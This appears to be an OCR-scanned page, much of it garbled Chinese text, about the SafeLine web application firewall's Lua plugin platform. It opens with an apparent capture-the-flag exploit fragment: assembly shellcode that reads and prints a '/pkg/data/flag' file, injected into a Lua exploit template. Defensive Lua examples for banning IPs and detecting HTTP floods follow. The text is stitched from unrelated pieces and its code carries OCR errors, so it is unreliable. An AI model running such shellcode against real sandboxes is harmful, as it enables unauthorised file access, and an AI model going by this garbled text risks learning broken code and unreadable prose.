add rax, 0x73370
mov rdi, %s

push rdi

mov rdi, %s

push rdi

mov rdi, rsp
push @

push 114

mov rsi, rsp
call rax

mov rcx, rax

mov rdi, rsp

mov rsi, 100

mov rdx, 100

mov rax, rbp
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add rax, 0x733c@
call rax

mov rdi, 1

mov rsi, rsp

mov rdx, 100

mov rax, rbp

add rax, 0x73510
call rax

push @
ret

print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))

with open('orig_exp.tpl.lua', 'r') as f:
content = f.read()
shellcode_hex = repr(asm(shellcode))
content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
with open('orig_exp.lua', 'w') as f:
f.write(content)
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local safeline = require "safeline"

header = {}

header["User—Agent"] = "safeline

pbantime = 60

—— BBk et

url = "http://xx.xx.xx.xx/query?apiKey=xxxxxxXXXXXXXXX&src=%s"

match = {

ip ="0.0.0.0/0",

host = "http://www.chaitin.cn",
urlpath = "/sso",

type = skynet. MATCH_TYPE_ALL,
}

function action(ip, resp)

local banip = {

ip=ip,

}

if string.find(resp, "badboy") ~= nil then
safeline.action_ban(banip, bantime)
end

end

function process(ip, host, urlpath)

urltmp = string.format(url, ip)

resp, err = safeline.http_get(urltmp, header)
action(ip, resp["body"])

end

safeline.register(safeline. TYPE_PROCESS, match, process)
BHCITERU T E:
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local safeline = require "safeline"

local duration = 10

— 510 HEA-X

local pay = {

host = "http://order.chaitin.cn",
urlpath = "/pay"

}

function tick(dur)
cnt = safeline.stat_visit(pay, 10)
safeline.http_post("http://xx.xx.xx.xx/", {pay = cnt})

end

safeline.register(safeline. TYPE_TICKER, duration, tick)

it o riat

B 2.0 AERAREBLESIZNEM EIEMTANAENIERE, BEARITHSIZEIFUERN

SQL EFEHNAXNHITEWMRLT, 5 SQL BAFEERNEIFRAZHEL, EWERFMNSEEN
CHERE . ZFBET SQL BREBZEEWEXMK, ARMET AU DM BEEZNLERRSTNEE,

R

BHLRNETEN CC WEbFEE, EENTHRUISEZESIINEENEESEH CC WHER

. FAPAEREE CC WEE#iITT2HER, BN TWSHIMRSEy, ERNERN T REENRELE

REERERFENTIHLMERTHFBRRE, ZRAFPFTESE B GRKERRCA,
EEERUT:

1. WEERRENRKRSH HTTP Flood
2. RhERHEERAIERSHZRMERLIR IP
8. WEBESAENMRANERED, ATWSHE, ZEOSKEERERSHITERR
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4. MR ERZEONLIETERBERG
MEEZE CC WhpRRIAFBE—K SQL # A KEEE MK L E LT, HFAIRBARBNT:

local safeline = require "safeline"

local query = [[

SELECT

TUMBLE_WINDOW(timestamp, 1) AS timestamp,
ip,

COUNT(ip) AS count_ip,

FROM access_log

WHERE url_path="/search" and time > 0.2
GROUP BY timestamp, ip

HAVING count_ip > 2000

ORDER BY count_ip desc

1]

function process(key, rows)
for _, r in iparis(rows) do
safeline.ban(r["ip"])

end

end

skynet.register(safeline. TYPE_QUERY, query, process)

LN SHET TR, BEERBEEHITRIT O B R WS RAFMENE), SLIMUAREEIAL
RBIRL IR RN S L 20,

=+
/l_,\él:l

Bal, KEMRESZSREKMAS . 2MIMA. REEREWIAR T HESE, Ry EWE L
REEN, ERPTEUVBRLZEOENENERRTAENGRAWSRELERE, FBIREDHT
BHNESEWRRT EMAEFBINGRALREEA, KK, KRER/EBHERRIIRATIE,
NEERAFRE, PENARERNEWHERIMBHNZEHD, UMRNTRMRSHELRE
RBIPM .

=

EZXTEMANFESHNAT o] X E:
https://github.com/chaitin/safeline—open—platform
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KZ=E (SafelLine)

Bt (Safeline) RMKFREERN—HABELENSIEABNE Web BLIHIFF2, EAIER
BT RBEMZREORNEAERSREORKE, TUNBPRESREEN Web KEH. OC Kb
B TR BhiPS SR,

SETRKERFRTNEL (Safeline) 2. 0MAN EXHI . “BERER . “BEAEX NS
&, E—STEROONEE, FNEADERULENE, TSSHRURBESR, USEOENH
I BN DA S BARRERAE.
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KEMRZERNIRNNEEERRZERE, EREAETEEENDTR T —RAWeb MBI AE™m. BHEl, A5
EEANK (REEM#:) « B (F—HRWebN B XIE) « B (ZRFHREE) - M (ANEBMREIRS) AH—E8
EHUBWRNBLEHIPERER, FRENENREN LR EBRS.

EARZHEARN T —ANELE2RANEK, KEREETER (ME) PECIFIEW A TEEMNEA"TFNE
E%E—. (CIO Advisor) TAMX25REHRIITALEEELAE. LS~ @mKGartner (Webiz 5 XIBE N KRR RS
&, HAEGartner 2018 (WebNAMIIBEAZRBIRELANRY . BRIERSTERIT. KBRT. ZEIES. FE
T, BEFZ. Bilibili, FAZRIMNBZEF,

KEREHMERSS



